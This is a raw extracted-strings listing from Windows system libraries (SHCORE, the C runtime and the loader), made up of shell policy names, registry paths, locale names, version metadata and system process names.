SHCore.Subclass.HeaderAttachCount SHCore.Subclass.MsgTickCount SHCore.Subclass.MsgCount SHCore.Subclass.HeaderRemoveTickCount SHCore.Subclass.HeaderRemoveCount MasterSubclassProc - Unknown subclass proc swallowed a WM_NCDESTROY Fatal: MasterSubclassProc - reference data missing for subclassed window TerminalServices-RemoteConnectionManager-AllowMultipleSessions pcombase.dll QPW.EXE PDEXPLO.EXE PS80.EXE AUTORUN.EXE 96.0 PINDLL DAD9.EXE 4.00.950 PP80.EXE PP70.EXE 2.00.0.0 UE32.EXE UA80.EXE 7.05.1107 4.10.1998 ABCMM.EXE PRWIN9.EXE WPWIN9.EXE PRWIN8.EXE WPWIN8.EXE RNAAPP.EXE PFIM80.EXE WPWIN7.EXE UNBINDABLE NO_WEBVIEW soffice.EXE MSMONEY.EXE SIZEMGR.EXE HOTDOG4.EXE QFINDER.EXE PRWIN70.EXE POWERPNT.EXE FILLER51.EXE CORELDRW.EXE SMARTCTR.EXE PDXWIN32.EXE NOTAFILESYSTEM OTNEEDSSFCACHE SITEBUILDER.EXE NOLEGACYWEBVIEW CTXMENU_NOVERBS CTXMENU_ASFW_ANY NOIPROPERTYSTORE CTXMENU_LIMITEDQI CTXMENU_XPQCMFLAGS TaskbarDPI_Deskband NEEDSSTORAGEANCESTOR NEEDSFILESYSANCESTOR TaskbarDPI_AllTaskbars COCREATESHELLFOLDERONLY TaskbarDPI_NotificationArea Explorer NoHTMLViewForWebDAV AllowCLSIDPROGIDMapping NoRestartOnTimer SkipNetworkShieldCheck NoTheaterMode DisableThumbsDBOnNetworkFolders UseFindFirstFileEnumeration ForceExpandedSaveDialog NoManualUpdates NoLinksBar NOBANDCUSTOMIZE NoToolbarOptions NoBrowserClose NoFindFiles GoMenu NoBrowserOptions EnableLegacyBalloonNotifications NoSystraySystemPromotion NoBalloonFeatureAdvertisements TaskbarNoPinnedList TryHarderPinnedOpenSearch DisableHomeGroup HomeGroup DisableContextMenusInStart AddSearchInternetLinkInStartMenu AddSearchEverywhereLinkInStartMenu NoSearchEverywhereLinkInStartMenu TryHarderPinnedLibrary DisableIndexedLibraryExperience HideContentViewModeSnippets DisableKnownFolders asswordReveal CredUI LockedStartLayout ShowRunAsDifferentUserInStart DisableMotWOnInsecurePathCopy EnableShellShortcutIconRemotePath ConnectedSearchPrivacy ConnectedSearchUseWebOverMeteredConnections ConnectedSearchUseWeb Windows Search DisableLibrariesDefaultSaveToOneDrive OneDrive DisableRemovableDriveIndexing ConnectedSearchSafeSearch ShowWindowsStoreAppsOnTaskbar ShowCommandPromptOnWinX DisableCharms DisableRecentApps DisableRoamedProfileInit NoPinningStoreToTaskbar DisableControlCenter DisableNotificationCenter CloudContent AllowSearchToUseLocation AllowCortanaAboveLock AllowCortana NoSignedAppToAppLaunching Associations DisableWindowsConsumerFeatures DisableSoftLanding HideTaskViewButton MultiTaskingAltTabFilter ShowOrHideMostUsedApps DisableAcrylicBackgroundOnLogon Themes ConfigureTaskbarSmallButtonBehavior TurnOffAbbreviatedDateTimeFormat AlwaysShowNotificationIcon DisableAIDataAnalysis DisableClickToDo WindowsAI EnableThemeFileRemoteResource Start HideFastUserSwitching WindowsLogon Software\Policies\Microsoft\Windows DisableThumbnails EnableShellExecuteHooks UsePathEnvVarForCommandTemplates PolicyManager SaveZoneInformation ScanWithAntiVirus Attachments DisableThumbnailsOnNetworkFolders HighRiskFileTypes DefaultFileTypeRisk HideZoneInfoOnProperties UseTrustedHandlers NoSearchInternetInWordWheel PerInstanceIconHandlerForOffline LowRiskFileTypes ModRiskFileTypes NoMobilityCenter MobilityCenter EnumerateAdministrators EnableSecureCredentialPrompting NoPreviewPane AlwaysShowClassicMenu NoPresentationSettings PresentationSettings DisallowCpl RestrictCpl UseDefaultTile NoReadingPane Programs QuickLaunchEnabled ForceClassicControlPanel TurnOffSPIAnimations NoDefaultPrograms NoInstalledUpdates NoProgramsAndFeatures NoProgramsCPL NoSendToMenu NoWindowsFeatures NoGetPrograms NoWindowsMarketplace DisplayName_RemoteDrive DisplayName_FixedDisk DisplayName_OpticalDisk DisplayName_RemovableDisk NoSMMyDocs NoUserFolderInStartMenu NoStartMenuMyGames DisplayName_Floppy NoFind NoFavoritesMenu NoStartMenuMyMusic NoSMMyPictures NoStartMenuNetworkPlaces {20D04FE0-3AEA-1069-A2D8-08002B30309D} NonEnum NoRecentDocsMenu NoSMConfigurePrograms NoControlPanel NoSetFolders NoNetworkConnections NoNTSecurity ForceRunOnStartMenu NoRun NoSMHelp HideSCAPower HideSCANetwork HideSCAVolume NoDrivesInSendToMenu TaskbarNoRedock TaskbarLockAll HideSCAMeetNow HideSCAHealth TaskbarNoDragToolbar TaskbarNoAddRemoveToolbar TaskbarNoThumbnail TaskbarNoResize ClearRecentProgForNewUserInStartMenu DontSetAutoplayCheckbox NoAutorun TaskbarNoNotification TurnOffSidebar Windows NoSearchInternetInStartMenu NoSearchProgramsInStartMenu CopyEngineNoNotifyMSSearch NoSearchCommInStartMenu NoInplaceSharing NoSearchFullText StartMenuLogoff NoNetConnectDisconnect NoWindowsUpdate NoStartMenuSubFolders WPCEnableOnDomain ParentalControls NoSetTaskbar NoClose NoSearchFilesInStartMenu NormalizeLinkNetPidls PreXPSP2ShellProtocolBehavior PreventItemCreationInUsersFilesFolder IntelliMenus NoStartMenuMFUprogramsList NoInstrumentation DisableBindDirectlyToPropertySetStorage Software\Microsoft\Windows\CurrentVersion\Policies NoStartMenuMorePrograms NoCommonGroups NoChangeStartMenu Windows.Foundation.IAsyncOperationWithProgress`2 D:(A;;GA;;;SY)(A;;0x%x;;;%s) Windows.Foundation.IAsyncOperation`1 Windows.Foundation.IAsyncOperationWithProgress`2 Windows.Storage.Streams.FileRandomAccessStream std::exception: %hs dactivatibleClassId Resolver aMYCOMPUTERFIRST DOCOBJECT WIN95DEFVIEW CONTEXTMENU STAROFFICE5PRINTER ANSI LOADCOLUMNHANDLER OLDREGITEMGDN IGNOREENUMRESET WIN95BINDTOOBJECT WIN95SHLEXEC NOVALIDATEFSIDS RETURNALLATTRIBS FORCELFNIDLIST FILEOPENBOGUSCTRLID ANSIDISPLAYNAMES NOTHREADUSECHECKS RETURNNONURLSASURLS STRIPFOLDERBIT NODEFVIEWMSGPUMP IGNOREDEFAULTTOKEN APPISOFFICE STATICJUMPLISTSIZE FORCELIBRARYPARSE COINITIALIZE_COMPAREIDS Installed Global\TabletHardwarePresent Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced ServerAdminUI System\WPA\ApplianceServer Policy Group !"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIyJKLMNOPQRSTUVWXYZ[\]^_` VS_VERSION_INFO StringFileInfo 040904B0 CompanyName Microsoft Corporation FileDescription SHCORE FileVersion 10.0.26100.7824 (WinBuild.160101.0800) InternalName SHCORE LegalCopyright Microsoft Corporation. All rights reserved. OriginalFilename SHCORE.dll ProductName Microsoft Windows Operating System ProductVersion 10.0.26100.7824 VarFileInfo Translation en-US ((((( H ((((( H ( LC_ALL LC_COLLATE LC_CTYPE LC_MONETARY LC_NUMERIC LC_TIME .exe .cmd .bat .com UTF-8 Sunday Monday Tuesday Wednesday Thursday Friday Saturday January February March April June July August September October November December MM/dd/yy dddd, MMMM dd, yyyy HH:mm:ss en-US utf-8 utf8 america britain china czech england great britain holland hong-kong new-zealand pr china pr-china puerto-rico slovak south africa south korea south-africa south-korea trinidad & tobago united-kingdom united-states (null) ja-JP zh-CN ko-KR zh-TW mscoree.dll api-ms-win-core-fibers-l1-1-1 minkernel\crts\ucrt\inc\corecrt_internal_strtox.h __crt_strtox::floating_point_value::as_double _is_double __crt_strtox::floating_point_value::as_float !_is_double SNAN) IND) snan) ind) inity INITY Microsoft Visual C++ Runtime Library api-ms-win-core-datetime-l1-1-1 api-ms-win-core-fibers-l1-1-2 api-ms-win-core-file-l1-2-4 api-ms-win-core-file-l1-2-2 api-ms-win-core-file-l2-1-4 api-ms-win-core-localization-l1-2-1 api-ms-win-core-localization-obsolete-l1-2-0 api-ms-win-core-processthreads-l1-1-2 api-ms-win-core-string-l1-1-0 api-ms-win-core-synch-l1-2-0 api-ms-win-core-sysinfo-l1-2-1 api-ms-win-core-winrt-l1-1-0 api-ms-win-core-xstate-l2-1-0 api-ms-win-rtcore-ntuser-window-l1-1-0 api-ms-win-security-systemfunctions-l1-1-0 ext-ms-win-ntuser-dialogbox-l1-1-0 ext-ms-win-ntuser-windowstation-l1-1-0 advapi32 kernel32 kernelbase ntdll api-ms-win-appmodel-runtime-l1-1-2 user32 api-ms- ext-ms- american american english american-english australian belgian canadian chinese chinese-hongkong chinese-simplified chinese-singapore chinese-traditional dutch-belgian english-american english-aus english-belize english-can english-caribbean english-ire english-jamaica english-nz english-south africa english-trinidad y tobago english-uk english-us english-usa french-belgian french-canadian french-luxembourg french-swiss german-austrian german-lichtenstein german-luxembourg german-swiss irish-english italian-swiss norwegian norwegian-bokmal norwegian-nynorsk portuguese-brazilian spanish-argentina spanish-bolivia spanish-chile spanish-colombia spanish-costa rica spanish-dominican republic spanish-ecuador spanish-el salvador spanish-guatemala spanish-honduras spanish-mexican spanish-modern spanish-nicaragua spanish-panama spanish-paraguay spanish-peru spanish-puerto rico spanish-uruguay spanish-venezuela swedish-finland swiss zh-CHS ar-SA bg-BG ca-ES cs-CZ da-DK de-DE el-GR fi-FI fr-FR he-IL hu-HU is-IS it-IT nl-NL nb-NO pl-PL pt-BR ro-RO ru-RU hr-HR sk-SK sq-AL sv-SE th-TH tr-TR ur-PK id-ID uk-UA be-BY sl-SI et-EE lv-LV lt-LT fa-IR vi-VN hy-AM az-AZ-Latn eu-ES mk-MK tn-ZA xh-ZA zu-ZA af-ZA ka-GE fo-FO hi-IN mt-MT se-NO ms-MY jjjjj jjjjj jjjjj jjjjj jjjjj jjjjj jjjjj jjjjj jjjjj jjjjj jjjjj jjjjj jjjjj jjjjj jjjjj jjjjj jjjjj jjjjj jjjjj jjjjj jjjjj jjjjj jjjjj jjjjj jjjjj jjjjj jjjjj jjjjj jjjjj !"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\]^_`abcdefghijklmnopqrstuvwxyz{|}~ VS_VERSION_INFO StringFileInfo 040904B0 CompanyName Microsoft Corporation FileDescription Microsoft C Runtime Library FileVersion 10.0.26100.7623 (WinBuild.160101.0800) InternalName ucrtbase.dll LegalCopyright Microsoft Corporation. All rights reserved. OriginalFilename ucrtbase.dll ProductName Microsoft Windows Operating System ProductVersion 10.0.26100.7623 VarFileInfo Translation UseFilter Kernel-MUI-Language-Disallowed Kernel-MUI-Language-Allowed Kernel-MUI-Number-Allowed Kernel-MUI-Language-SKU WindowsExcludedProcs NoDefaultCurrentDirectoryInExePath \Registry\Machine\System\CurrentControlSet\Control\MUI\UILanguages\PendingDelete AlternateCodePage \Registry\Machine\System\CurrentControlSet\Control\NLS\Language InstallLanguageFallback \Registry\Machine\System\CurrentControlSet\Control\MUI\UILanguages Type MachinePreferredUILanguages Control Panel\Desktop PreferredUILanguages \Registry\Machine\System\CurrentControlSet\Control\MUI\Settings\LanguageConfiguration Control Panel\Desktop\MuiCached\MachineLanguageConfiguration Software\Policies\Microsoft\Control Panel\Desktop Control Panel\Desktop\LanguageConfiguration Control Panel\Desktop\MuiCached VS_VERSION_INFO \Registry\Machine\Software\Policies\Microsoft\MUI\Settings S-1- RtlpResUltimateFallbackInfo Exit RtlpResUltimateFallbackInfo Enter LdrResFallbackLangList Enter LdrResFallbackLangList Exit LdrpResSearchResourceInsideDirectory Exit LdrpResSearchResourceInsideDirectory Enter LdrpResGetResourceDirectory Exit LdrpResGetResourceDirectory Enter LdrResGetRCConfig Exit LdrResGetRCConfig Enter http://schemas.microsoft.com/SMI/2005/WindowsSettings \DllNXOptions lDriverStore Time Zones\ \Dynamic DST LastEntry FirstEntry Kernel-OneCore-DeviceFamilyID {%08lx-%04x-%04x-%02x%02x-%02x%02x%02x%02x%02x%02x} \Registry\Machine\SOFTWARE\Microsoft\Windows NT\CurrentVersion BuildLabEx \Registry\Machine\Software\Microsoft\SecurityManager\AdminCapabilities \Registry\Machine\HARDWARE\DESCRIPTION\System\CentralProcessor\0 ~MHz \Registry\Machine\System\CurrentControlSet\Control ContainerId ContainerCorrelationId ContainerType Bias StandardBias DaylightBias StandardName DaylightName DaylightStart StandardStart TargetNtPath TimeZoneInformation TimeZoneInformationSettings \\?\ ((((( H h(((( H H (null) \KnownDlls32 KnownDllPath VerifierFlags HandleTraces VerifierDebug VerifierDlls \REGISTRY\USER\ ExecuteOptions Unknown Objects>%4u Objects=%4u VirtualAlloc GlobalFlag \WinSxS\ schemaext- .mun .mui SystemResources\ EAFModules MitigationOptions MitigationAuditOptions LdrpResGetMappingSize Enter LdrpResGetMappingSize Exit LdrpResSearchResourceMappedFile Enter LdrpResSearchResourceMappedFile Exit LdrResSearchResource Enter LdrResSearchResource Exit \Registry\Machine\System\CurrentControlSet\Control\Nls\CodePage OEMCP \SysWOW64\ SysWOW64 \SysARM32\ SysARM32 \SyCHPE32\ SyCHPE32 \System32\ System32 \REGISTRY\MACHINE\SYSTEM\CurrentControlSet\Control OsBootstatPath TerminalServices-RemoteConnectionManager-AllowAppServerMode ActiveConfig \Registry\Machine\SYSTEM\CurrentControlSet\Control\FeatureManagement\EnterpriseTempControls\Active \Registry\Machine\SYSTEM\CurrentControlSet\Control\FeatureManagement\EnterpriseTempControls %s\%lu %s%s TemporaryEnterpriseFeatureControlState \UpdatePolicy\PolicyState \Registry\Machine\SOFTWARE\Microsoft\WindowsUpdate WindowsUpdate TemporaryEnterpriseFeatureControlSta #+3;CScs !1Aa 9Cleanup Group Alpc Pool Timer Timer Queue Waiter TCB Wait Work Threadpool! C:\data\programs\windowsapps \??\%s RedirectedKey \Registry\Machine\System\CurrentControlSet\Control\CommonGlobUserSettings\ GlobalizationUserSettings \Registry\Machine\SYSTEM\CurrentControlSet\Control\International Software\Microsoft\LanguageOverlay LanguageOverlayKeyName Latest OverlayPackages \Windows \Registry\Machine\ \Program Files \Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers PATH DelegatedNtdll \SystemRoot\system32\ apphelp.dll RaiseExceptionOnPossibleDeadlock StackTraceDatabaseSizeInMb !Process CSRSS Client LDR Database Current Directory TLS Storage DBGSS Client SE Temporary Temporary LocalAtom ServiceTag ForwarderTag DebugProcessHeapOnly NTDLL! forwarders; forwarders\alt; \system; PageHeapFlags SPPsvc.exe VerifierActivationFilter DisableHeapLookaside ShutdownFlags FrontEndHeapDebugOptions MaxLoaderThreads UnloadEventTraceDepth TracingFlags UseImpersonatedDeviceMap DisableExceptionChainValidation LegacyDosDevicePaths CFGOptions MinimumStackCommitInBytes ImageExpansionMitigation MaxDeadActivationContexts QueryProcessModuleInformationLoopDetectorCount GlobalFlag2 \SysWOW64 eWow64 Emulation Layer Legacy PROCESSOR_ARCHITEW6432 ARM64 %x-%S-%S- %04x:%04x @ %08d - %S - %S Not found Hotpatch-Loader Hotpatching failed. BaseAddress: 0x%x, BaseCheckSum: 0x%x, BaseTimeDateStamp 0x%x, ProcessName: %wZ, PID: 0x%x, NtStatus: 0x%x, LoggingLocation: 0x%x \Device\SrpDevice nCOMPLUS_InstallRoot activeCodePage UTF-8 http://schemas.microsoft.com/SMI/2019/WindowsSettings .Local windows blue windows eight windows seven windows vista windows threshold Kernel-ProductInfoLegacyMapping \Registry\Machine\Software\Microsoft\Windows NT\CurrentVersion\Image File Execution Options \??\ .DLL WIN://PKG \SYSTEM32\ KERNEL32.DLL KERNELBASE.dll WIN://SYSAPPID Kernel-ProductInfo \Registry\MACHINE\System\CurrentControlSet\Control\Session Manager \Registry\MACHINE\SYSTEM\CurrentControlSet\Control\Nls\CustomLocale verifier.dll vrfcore.dll \Registry\Machine\Software\Microsoft\Windows NT\CurrentVersion .Local\ \Registry\Machine\Software\Microsoft\Windows\CurrentVersion\SideBySide\AssemblyStorageRoots \Registry\Machine\System\CurrentControlSet\Control\Session Manager\kernel \Registry\Machine\System\CurrentControlSet\Control\StateSeparation\RedirectionMap\Keys \Registry\Machine\System\CurrentControlSet\Control\StateSeparation\RedirectionMap\Files 0123456789ABCDEF \Registry\Machine\SYSTEM\CurrentControlSet\Control\Session Manager\Segment Heap Enabled 23456789:;<=>?@ABCDEFGHX WWWWWWWWWWWW @@3;;;; D4@@@D;;;;;;;22 2WW2 \Registry\Machine\System\CurrentControlSet\Services \Registry\User\.Default \Registry\Machine\Hardware\DeviceMap xmc^TPKGC? (08@HPX`hpx "$&(*,.02468:<>@ \Device\IPT ProgramFiles 0123456789abcdefOptionValue \Registry\MACHINE\System\CurrentControlSet\Control\SafeBoot\Option \Registry\Machine\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers \Registry\Machine\System\CurrentControlSet\Control\Srp\GP\DLL ADVAPI32.DLL TransparentEnabled SafeProcessSearchMode SafeDllSearchMode ntdll.dll kSmtDelaySleepLoopWindowSize SmtDelayBaseYield SmtDelaySpinCountThreshold SmtDelayMaxYield SmtFactorYield LargePageDLLs BreakOnInitializeProcessFailure TrackActivationContextReleases KeepActivationContextsAlive _NO_DEBUG_HEAP CONOUT$ CONIN$ \\.\ \??\UNC\ \Registry\Machine\System\CurrentControlSet\Control\FileSystem\ __APPDIR__ __CD__ NUMBER_OF_PROCESSORS FIRMWARE_TYPE ProgramFiles(x86) ProgramFiles(Arm) ProgramW6432 CommonProgramFiles(x86) CommonProgramFiles CommonProgramFiles(Arm) CommonProgramW6432 PROCESSOR_ARCHITECTURE advapi32.dll \Registry\Machine\System\CurrentControlSet\Control\Srp\GP\ \SystemRoot\System32\AppLocker\MDM RuleCount ;MSCOREE.DLL Security-System-Capability- isolatedWin32- INTERNETCLIENT INTERNETCLIENTSERVER PRIVATENETWORKCLIENTSERVER PICTURESLIBRARY VIDEOSLIBRARY MUSICLIBRARY DOCUMENTSLIBRARY ENTERPRISEAUTHENTICATION SHAREDUSERCERTIFICATES REMOVABLESTORAGE APPOINTMENTS CONTACTS PreferredUILanguagesPending TrustedInstaller \Registry\Machine\Software\Microsoft\Windows\CurrentVersion\AppModel\StateChange AppxStateChange \PackageList\ BinaryName BinaryHash TimeZoneKeyName DynamicDaylightTimeDisabled %s_%d Thread Event Section Process Semaphore Mutant File \??\%C: \microsoft.system.package.metadata\Application DontIncludeProgramFiles \Forwarders\alt \Registry\MACHINE\System\CurrentControlSet\Control\Session Manager\Safe Load Prefixes \Forwarders 1%s!%s \VerifierCounter CWDIllegalInDLLSearch \\?\UNC\ \\?\UNC UEFI \Registry\Machine\Software\Microsoft\Windows NT\CurrentVersion\AppCompatFlags\Compatibility Assistant\ COMPLUS_Version jjjj jjjjj jjjjj jjjjj jjjj !"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\]^_`abcdefghijklmnopqrstuvwxyz{|}~ ???? ???? PatchImagePlaceholder psapi.dll C:\WINDOWS en-CH 0123456789 HH:mm:ss HH:mm dd.MM.yyyy MMMM yyyy dddd, d MMMM yyyy C:\WINDOWS C:\WINDOWS\system32 \Sessions\1\BaseNamedObjects \Sessions\1\AppContainerNamedObjects \Sessions\1\BaseNamedObjects control.ini Color Schemes Control Panel\Color Schemes Current Control Panel\Current Custom Colors Control Panel\Custom Colors don't load Control Panel\don't load drivers.desc Microsoft\Windows NT\CurrentVersion\drivers.desc MMCPL Control Panel\MMCPL Patterns Control Panel\Patterns related.desc Microsoft\Windows NT\CurrentVersion\related.desc Screen Saver.3DText Control Panel\Screen Saver.3DText Userinstallable.drivers Microsoft\Windows NT\CurrentVersion\Userinstallable.drivers KeyboardLayout.ini Preload Keyboard Layout\Preload Custom Keyboard Layout\Custom Keyboard Layout \Registry\Machine\System\CurrentControlSet\Control\K \system32\apphelp.dll \??\ \??\ \WOW6432Node [<__wow64_disable_redirect_all__]> \??\ n\sysnative \lastgood \regedit.exe \catroot \catroot2 \driverstore \drivers\etc \hostdriverstore \logfiles \spool \REGISTRY\MACHINE\SOFTWARE \REGISTRY\MACHINE\SOFTWARE\Wow6432Node \REGISTRY\USER\*_Classes \REGISTRY\USER\*_Classes\Wow6432Node \REGISTRY\USER\*\SOFTWARE\Classes \REGISTRY\USER\*\SOFTWARE\Classes\Wow6432Node %s%s\ntdll.dll \system32 \??\%s Unknown Image \BaseNamedObjects\Global\%s \Registry\Machine\Software\Microsoft\Wow64\x86 \KnownDlls32 %ws\system32\%ws wow64cpu.dll \SysWOW64 COMPUTERNAME _CLUSTER_NETWORK_NAME_ \system32\ %ProgramFiles% %commonprogramfiles% kernel32.dll user32.dll \KnownDlls \KnownDllsArm32 image \SysArm32 \WowAA32Node \SysWow64\ (x86) \{1BD51F8C-8CFC-4708-A88D-5690DE4D5C16} \{36BBB745-0999-4FD8-A538-4D4D84E4BD09} \{963F9E1B-197A-4664-B7D1-BCF5443A528D} \{FE10D39B-A7F1-412c-83BA-D00788532ABB} \CLSID \DirectShow \Interface \Media Type \MediaFoundation \Classes \Microsoft\Windows\CurrentVersion\Explorer\Advanced\Folder \Classes\Wow6432Node \BaseNamedObjects\Global\WINDOWS11 \??\C:\WINDOWS\system32 \Device\HarddiskVolume3\Windows API- EXT- \??\ API- EXT- API- EXT- API- EXT- %x-%S-%S- apphelp.dll 0123456789ABCDEFS-1- \REGISTRY\USER\ %04x:%04x @ %08d - %S - %S Not found Hotpatch-Loader Hotpatching failed. BaseAddress: 0x%x, BaseCheckSum: 0x%x, BaseTimeDateStamp 0x%x, ProcessName: %wZ, PID: 0x%x, NtStatus: 0x%x, LoggingLocation: 0x%x System Volume Information .DLL KERNEL32.DLL windows vista windows seven windows eight windows blue windows threshold KERNELBASE.dll \Registry\Machine\System\CurrentControlSet\Services \Registry\Machine\Hardware\DeviceMap \Registry\User\.Default 0@P`p "$&(*,.02468:<>@ \Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers .mui .mun SystemResources\ CONOUT$ TransparentEnabled OptionValue \\.\ ADVAPI32.DLL CONIN$ \??\UNC\ \SYSTEM32\ %s_%d SharedSection ApiPort TerminalServices-RemoteConnectionManager-AllowAppServerMode Kernel-OneCore-DeviceFamilyID \Registry\Machine\Software\Microsoft\Windows NT\CurrentVersion\OEM DeviceForm \Registry\Machine\Software\Microsoft\Windows NT\CurrentVersion ContainerCorrelationId \Registry\Machine\System\CurrentControlSet\Control ContainerId AppContainerNamedObjects %s\%ld\%s \Sessions BaseNamedObjects Global\Session\%ld%s \AppContainerNamedObjects \Registry\Machine\HARDWARE\DESCRIPTION\System\CentralProcessor\0 \BaseNamedObjects %s\%u-%u-%u-%u ~MHz TargetPath Bias DaylightStart DaylightBias DaylightName StandardBias StandardName StandardStart TimeZoneKeyName DynamicDaylightTimeDisabled TimeZoneInformation CAPTURE CSRPORT! ContainerType TimeZoneInformationSettings BuildLabEx \Registry\Machine\SOFTWARE\Microsoft\Windows NT\CurrentVersion rcsrsrv.dll Security-System-Capability- QueryDebugInformation request Objects>%4u VirtualAlloc Objects=%4u rUnknown VS_VERSION_INFO \Software\Microsoft\Windows \Registry\Machine\Software\Microsoft\SQMClient\Windows\WMR LdrResSearchResource Enter LdrResSearchResource Exit LdrResGetRCConfig Exit LdrResGetRCConfig Enter LdrpResSearchResourceInsideDirectory Enter LdrpResSearchResourceInsideDirectory Exit LdrpResSearchResourceMappedFile Enter LdrpResSearchResourceMappedFile Exit LdrpResGetMappingSize Enter LdrpResGetMappingSize Exit LdrpResGetResourceDirectory Exit LdrpResGetResourceDirectory Enter LdrpResSearchResourceHandle Exit LdrpResSearchResourceHandle Enter \Registry\Machine\System\CurrentControlSet\Control\NLS\Language InstallLanguageFallback en-US .Local PATH \WinSxS\ en-US NoDefaultCurrentDirectoryInExePath msmpeng.exe dwm.exe lsass.exe smartscreen.exe searchindexer.exe wininit.exe rdpclip.exe sihost.exe svchost.exe smss.exe runtimebroker.exe audiodg.exe services.exe systemsettingsbroker.exe securityhealthservice.exe rdpinit.exe csrss.exe vmcomputeagent.exe rdpshell.exe containersettingsworker.exe nissrv.exe settingsynchost.exe telemetryhost.exe winlogon.exe activeCodePage http://schemas.microsoft.com/SMI/2005/WindowsSettings http://schemas.microsoft.com/SMI/2019/WindowsSettings \Registry\Machine\System\CurrentControlSet\Control\Nls\CodePage OEMCP http://schemas.microsoft.com/SMI/2020/WindowsSettings heapType SegmentHeap Legacy UseFilter FilterFullPath CFGOptions TracingFlags LegacyDosDevicePaths UseImpersonatedDeviceMap FrontEndHeapDebugOptions MaxLoaderThreads DisableHeapLookaside UnloadEventTraceDepth RaiseExceptionOnPossibleDeadlock ShutdownFlags MinimumStackCommitInBytes MaxDeadActivationContexts ImageExpansionMitigation QueryProcessModuleInformationLoopDetectorCount GlobalFlag2 \??\ GlobalFlag CWDIllegalInDLLSearch MitigationOptions MitigationAuditOptions %s!%s ProductType WinNt LanmanNt ServerNt \Registry\Machine\System\CurrentControlSet\Control\ProductOptions UEFI .Local\ {%08lx-%04x-%04x-%02x%02x-%02x%02x%02x%02x%02x%02x} VerifierActivationFilter \VerifierCounter UTF-8 WIN://SYSAPPID WIN://PKG \Registry\Machine\Software\Microsoft\Windows NT\CurrentVersion\Image File Execution Options ntdll.dll vertdll.dll bcryptprimitives.dll bcrypt.dll api- \\?\UNC\ XBOX://LI WP://SKUID ProgramFiles SafeDllSearchMode _NO_DEBUG_HEAP BreakOnInitializeProcessFailure KeepActivationContextsAlive TrackActivationContextReleases LargePageDLLs \\?\UNC __CD__ __APPDIR__ FIRMWARE_TYPE NUMBER_OF_PROCESSORS ProgramFiles(x86) ProgramW6432 ProgramFiles(Arm) CommonProgramFiles CommonProgramFiles(x86) CommonProgramW6432 CommonProgramFiles(Arm) PROCESSOR_ARCHITECTURE UnusedField PROCESSOR_ARCHITEW6432 \Windows LanguageOverlayKeyName Software\Microsoft\LanguageOverlay \Registry\Machine\ \system32 OverlayPackages Latest Type \\?\ Time Zones\ \Dynamic DST \SysWOW64\ SysWOW64 \System32\ System32 MiniNT wow64.dll LastEntry FirstEntry \Program Files PortableOperatingSystem COMPLUS_InstallRoot SysARM32 \SysARM32\ MSCOREE.DLL xmc^TPKGC? xl-- xn-- %u.%u.%u.%u :%u.%u.%u.%u ]:%u ::%hs%u.%u.%u.%u ::ffff:0:%u.%u.%u.%u File Event Thread Process Section Mutant Semaphore %%%u %%%u!%s! \Registry\Machine\System\CurrentControlSet\Control\MUI\Settings PreferredUILanguages 0123456789abcdef LdrpResValidateFilePath Enter LdrpResValidateFilePath Exit KnownDllPath \KnownDlls verifier.dll Kernel-ProductInfo Kernel-ProductInfoLegacyMapping DriverStore \Device\SrpDevice RuleCount schemaext- \Registry\Machine\SYSTEM\CurrentControlSet\Control\Session Manager\Segment Heap RXACT WIN://PKGHOSTID SafeProcessSearchMode LdrResRelease Enter LdrResRelease Exit LdrpResMapFile Exit LdrpResMapFile Enter %02X-%02X-%02X-%02X-%02X-%02X \??\%C: \Registry\Machine\System\CurrentControlSet\Control\Session Manager\kernel \SmApiPort EAFModules ((((( H h(((( H H (null) TrustedInstaller \Registry\Machine\Software\Microsoft\Windows\CurrentVersion\AppModel\StateChange AppxStateChange \PackageList\ BinaryName vrfcore.dll VerifierFlags HandleTraces VerifierDebug VerifierDlls \Software\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\ Windows.Universal Windows.Windows8x Windows.WindowsPhone8x Windows.Desktop Windows.Mobile Windows.Xbox Windows.Team Windows.IoT Windows.IoTHeadless Windows.Server Windows.Holographic Windows.XBoxSRA Windows.XBoxERA Windows.ServerNano Windows.8828080 Windows.7067329 Windows.Core Windows.CoreHeadless Phone Tablet Desktop Notebook Convertible Detachable All in One Stick PC Puck Large Screen Head Mounted Display Industry Handheld Industry Tablet Banking Building Automation Digital Signage Gaming Home Automation Industrial Automation Kiosk Maker Board Medical Networking Point of Service Printing Thin Client Vending Industry Other Xbox One Xbox One S Xbox One X Xbox One X DevKit Xbox Series X Xbox Series X Devkit Xbox Series S Xbox Gaming Handheld Gaming Console WMRSendMessageString DisableEscalation \SyCHPE32\ SyCHPE32 \OSDataRoot\Windows\bootstat.dat \SystemRoot\bootstat.dat \REGISTRY\MACHINE\SYSTEM\CurrentControlSet\Control OsBootstatPath MachineLanguageConfiguration LanguageConfigurationPending LanguageConfiguration \Registry\Machine\System\CurrentControlSet\Control\MUI\UILanguages GCInterval GlobalTags Enabled \SharedVmObjects yEnterpriseFeatureControlState_Mirrored FeatureManagement \Registry\Machine\SYSTEM\CurrentControlSet\Control\FeatureManagement UpdatePolicy-UpdateManagementGroup \Registry\Machine\System\Setup Compact \Registry\Machine\System\CurrentControlSet\Control\ValidationRunlevels DefaultFallback AlternateCodePage \Registry\Machine\System\CurrentControlSet\Control\MUI\UILanguages\PendingDelete Kernel-MUI-Number-Allowed WindowsExcludedProcs Kernel-MUI-Language-Allowed Kernel-MUI-Language-SKU Kernel-MUI-Language-Disallowed \Device\IPT \??\%s C:\data\programs\windowsapps \microsoft.system.package.metadata\Application \Registry\MACHINE\System\CurrentControlSet\Control\SafeBoot\Option \Registry\Machine\System\CurrentControlSet\Control\Srp\GP\DLL \Registry\Machine\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers \Registry\MACHINE\System\CurrentControlSet\Control\Session Manager \Forwarders\alt DontIncludeProgramFiles \Registry\MACHINE\System\CurrentControlSet\Control\Session Manager\Safe Load Prefixes StackTraceDatabaseSizeInMb !Process CSRSS Client LDR Database Current Directory TLS Storage DBGSS Client SE Temporary Temporary LocalAtom ServiceTag ForwarderTag NTDLL! DebugProcessHeapOnly forwarders; \system; forwarders\alt; PageHeapFlags SPPsvc.exe 